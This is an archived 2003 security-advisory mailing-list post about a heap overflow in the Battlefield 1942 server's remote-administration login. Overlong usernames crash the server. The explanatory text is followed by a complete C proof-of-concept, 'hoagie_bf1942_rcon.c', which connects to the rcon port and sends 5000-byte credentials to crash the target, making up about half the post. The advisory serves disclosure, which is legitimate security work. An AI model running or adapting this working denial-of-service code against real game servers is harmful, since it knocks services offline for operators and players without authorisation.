[VSA0307] Battlefield 1942 remote DoS

From: VOID.AT Security (asdfat_private)
Date: Wed Feb 26 2003 - 10:19:40 PST

  • Next message: VOID.AT Security: "[VSA0308] Half-Life AMX-Mod remote (root) hole"

    [void.at Security Advisory VSA0307 - mailto:crew at void dot at]
    
    Battlefield 1942 is a game (c) by Electronic Arts[1].
    
    Overview
    ========
    
    By sending a specially crafted packet to the bf1942-server
    remote administration port, an attacker can cause the server 
    to crash.
    
    It *could* even be possible to remotely exploit this
    vulnerability to gain a remote shell (see "Details"
    for details)
    
    Affected Versions
    =================
    
    As I discovered this vulnerability, the game's version was
    1.2. Because I don't play this game anymore and I didn't
    download that overbloated 50 MB patch I have no idea if
    the current version (1.3) is vulnerable (but I'd bet).
    
    Impact
    ======
    
    Medium. The remote server simply crashes.
    
    Details
    =======
    
    Battlefield 1942 can be configured to listen to a tcp-port
    (default: 4711) and accept connections to remotely enter
    commands or change server variables. A command line utility 
    to do that comes with bf1942 ("RemoteConsole.exe"), and there
    exists at least one GUI that uses the same protocol.
    
    The session starts by connecting to the rcon-port. The server
    responds with an XOR-key that is used to send the username
    and the password (although we don't need that here). 
    
    The login credentials get submitted in the following way:
    (byte) Length of Username
    (szstring) Username
    (byte) Length of Password
    (szstring) Password
    
    Heh, I'm sure you've guessed it, you can overwrite the heap
    by sending especially long usernames and/or passwords.
    
    Now the interesting part: it is possible to overwrite control
    information on the heap (like that famous malloc/free-bugs).
    The problem is, that the chunk that receives the username
    is the last chunk in the chain, so there is no following 
    control block that could be overwritten to exploit a
    free-vulnerability. This is the reason I am not able to
    supply an exploit for this.
    
    The thing is, after that block are pointers to the double-
    linked ring-list that holds the free blocks. It *is* possible
    to overwrite them, but I didn't find a way to exploit that,
    other than to remotely DoS the server. Perhaps someone more
    skilled (and with more time) can do that (plz let me know *g*)
    
    Length of username > 4280 crashes the server.
    
    Note that by the time I discovered this, the only server
    available was the Windows-version. Today there exists a
    (beta-)Linux-version too, perhaps you can have more fun
    with it.
    
    Solution
    ========
    
    Disable that remote administration thing until a patch
    comes out.
    
    Exploit
    =======
    
    I've attached a demonstration exploit. 
    
    And YES I really wanted to contact the vendors about that
    problem, but I gave up after straying around on the EA.com
    website for 15 min. searching for a simple mail address
    (not to mention requesting a public key...). 
    
    Discovered by
    =============
    
    greuff <greuffat_private>
    
    Credits
    =======
    
    void.at
    ^sq, G7 and thokky for giving me links to papers
    
    halvarat_private for simply ignoring my mail regarding the 
    double-linked-list overwrite.
    
    References
    ==========
    
    [1] http://www.ea.com
    
    ------------------------------------------------------------------
    
    /*****************************************************************
     * hoagie_bf1942_rcon.c
     *
     * Remote-DoS for Battlefield 1942-Servers that have their
     * rcon-port activated (4711/tcp by default)
     *
     * Author: greuffat_private
     *
     * Tested on BF-Server 1.2 on win32
     *
     * Credits:
     *    void.at
     *    ^sq, G7 and thokky
     *
     * THIS FILE IS FOR STUDYING PURPOSES ONLY AND A PROOF-OF-CONCEPT.
     * THE AUTHOR CAN NOT BE HELD RESPONSIBLE FOR ANY DAMAGE OR
     * CRIMINAL ACTIVITIES DONE USING THIS PROGRAM.
     *
     *****************************************************************/
    
    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <sysexits.h>
    #include <string.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    #include <sys/types.h>
    #include <errno.h>
    #include <netdb.h>
    
    int bf1942_rcon_connect(char *servername, int serverport, char *user, char 
    *pass, int *s);
    
    int main(int argc, char **argv)
    {
       int sock, rval=0;
       char *user, *pass;
       int anz=5000/*4280*//*4272*//*4200*/;
       if(argc!=3)
       {
          printf("Usage: %s servername serverport\n\n",argv[0]);
          return EX_USAGE;
       }
       user=malloc(anz+1);
       pass=malloc(anz+1);
       memset(user,0,anz+1);
       memset(user,'A',anz);
       memset(pass,0,anz+1);
       memset(pass,'B',anz);
       do
       {
          
    rval=bf1942_rcon_connect(argv[1],strtol(argv[2],NULL,10),user,pass,&sock);
          if(rval==-1)
          {
             printf("Authentication failed. user=%s pass=%s\n",user,pass);
    	 user[1]++;
             close(sock);
          }
          else if(rval>0)
          {
             printf("Error: %s\n",strerror(rval));
             return -1;
          }
       } while(0);
       return 0;
    }
    
    /* open a session to a bf1942-server (Rcon)
     *
     * WARNING this is a minimalist's version of the real rcon-authentication
     * (XOR's skipped) 
     *
     * in: servername, serverport, username, pass
     * out: on success: 0, serversocket in *sock
     *      on error  : -1 = autherror, errno otherwise
     */
    int bf1942_rcon_connect(char *servername, int serverport, char *user, char 
    *pass, int *s)
    {
       int sock, i, rval;
       struct hostent *hp;
       struct sockaddr_in inaddr;
       unsigned long l;
    
       char xorkey[10], buf[20];
    
       if((sock=socket(AF_INET,SOCK_STREAM,0))<0)
          return errno;
       if((hp=gethostbyname(servername))<0)
          return errno;
       inaddr.sin_family=AF_INET;
       inaddr.sin_port=htons(serverport);
       memcpy(&inaddr.sin_addr,*(hp->h_addr_list),sizeof(struct in_addr));
       if(connect(sock,(struct sockaddr *)&inaddr,sizeof(struct sockaddr))<0)
          return errno;
    
       // connection established. The first thing the server should
       // send is the XOR-Key for transmitting the username and the
       // password.
       if((i=read(sock,xorkey,10))<0)
          return errno;
    
       // send the username and the password...
       l=strlen(user)+1;
       if(write(sock,&l,sizeof(long))<0)
          return errno;
       if(write(sock,user,strlen(user)+1)<0)
          return errno; 
       l=strlen(pass)+1;
       if(write(sock,&l,sizeof(long))<0)
          return errno;
       if(write(sock,pass,strlen(pass)+1)<0)
          return errno; 
    
       if(read(sock,buf,20)<0)
          return errno; 
       if(buf[0]==0x01)
       {
          rval=0;   // auth-ok, connection established
          *s=sock;
       }
       else
          rval=-1;      // auth-error 
       return rval;
    }
    
    
    
    



    This archive was generated by hypermail 2b30 : Wed Feb 26 2003 - 10:29:25 PST